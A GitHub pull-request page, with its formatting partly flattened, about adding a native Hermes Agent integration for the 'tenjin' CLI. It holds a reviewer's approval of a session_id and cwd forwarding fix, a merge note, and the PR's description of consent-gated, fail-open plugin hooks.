_transform_llm_outputcaptures**kwargs(was**_kwargs) and sends{"session_id": kwargs.get("session_id", "")}, pluscwdwhen it is a string, under the exact field nameshook-scripts.tsreads (sessionIdOf→input.session_id,cwdOf→input.cwd). So main's #164 session-scoped weak-arm rate limit (batchedThisSession) and the project-scopedpublish.mode(projectPublishMode(cwd)) now resolve under a Hermes envelope instead of seeing a null session every turn — the #162 "nag re-fires every turn" regression is closed on the Hermes lane. Graceful degradation is preserved: a missingsession_idforwards"", whichsessionIdOfmaps to null (documented machine-global fallback);cwdis only added when it is a string, so an absent or non-string value leaves it off andcwdOffalls back toconfig.publishMode; the existing length bounds (session ≤128, cwd ≤4096) still apply. No crash on either omission.
Verified
- The probe now exercises the real payload, not a stub past it. Round 1 missed this because the Python probe stubbed
_runto return a fixed string without inspecting its argument. The new test replaces_runwith afake_runthat CAPTURES the payload, callstransform_llm_output(response_text="answer", session_id="sess-1", cwd="/proj", task_id="t"), and asserts the captured payload equals{session_id: "sess-1", cwd: "/proj"}— so it checks what the plugin actually builds. Reverting the forwarding to_run(STOP_SCRIPT, {}, 2.0)fails the test; restored, the full hermes suite is 29/29. - Scope: the delta is exactly the two files, 45/2; no other behavior touched. CI green at head.
Still open
None. Everything from rounds 1-8 (the round-8 approve at d36181a) and the round-1-delta Minor is closed.
Verdict
Approve. The one open Minor is fixed under the exact payload contract, degrades gracefully when Hermes omits either field, and is now pinned by a test that inspects the real payload (red without the fix) — the gap that let it slip in round 1. Ran the hermes suite (29/29); CI green at head.
…ntegration # Conflicts: # src/commands/doctor.ts # src/lib/skill-heal.ts # src/lib/uninstall.ts
|
Merged origin/main forward (8b04bb3, #151's pay/discover/config/skills landing). Conflicts in doctor.ts/skill-heal.ts/uninstall.ts resolved by keeping both sides (hermesHome plumbing + bazaarPay/OPTIONAL_SKILL_NAMES); also threaded hermesHome through skill-placement.ts's skillsDirsFor call (new #151 file, no textual conflict but wouldn't compile against the widened signature). No payments/auth/x402 hunks touched by the reconciliation. pnpm run check (build + 2285 tests) green foreground, lint/typecheck clean. |
There was a problem hiding this comment.
Your trial has ended. Reactivate Greptile to resume code reviews.
2 participants
Summary
Add a working native Hermes Agent integration now, without waiting for upstream shell-hook transform support.
tenjin install --harness hermesnow:$HERMES_HOME/skills(default~/.hermes/skills)mcp_servers.tenjinentry using the absolute installed CLI path$HERMES_HOME/plugins/tenjinweb_search, attaches a HIT to that tool result, and raises unresolved searches at final output for publish-backtenjin doctorNative hook boundary
The plugin registers Hermes's supported
pre_tool_call,transform_tool_result, andtransform_llm_outputcallbacks. It invokes #115's generated Node scripts with a Hermes envelope, so search response validation, origin/price checks, local search storage, open-loop selection, and nag bookkeeping remain one shared implementation rather than a copied payment-facing fork.The adapter is fail-open: subprocesses use absolute executable/script paths, bounded timeouts and output size, return no block/approval directive, keep HIT state in a locked and bounded in-process map, and leave the original tool/final output unchanged on every failure.
Consent and preservation
--harness hermesis the plugin activation boundary.plugins.disabledTenjin entry is never overridden, including the inline-list form.hermesbinary is not treated as Hermes Agent without a Hermes home.HERMES_HOMEmust be absolute.Deliberately absent
TENJIN_HARNESSenvironment/config wiringHermes therefore keeps the same conservative global payment and publishing policy as Claude Code and Codex.
Validation
Stacked on #115 (
vraspar/adoption-loop) so the shared adoption-loop core lands first.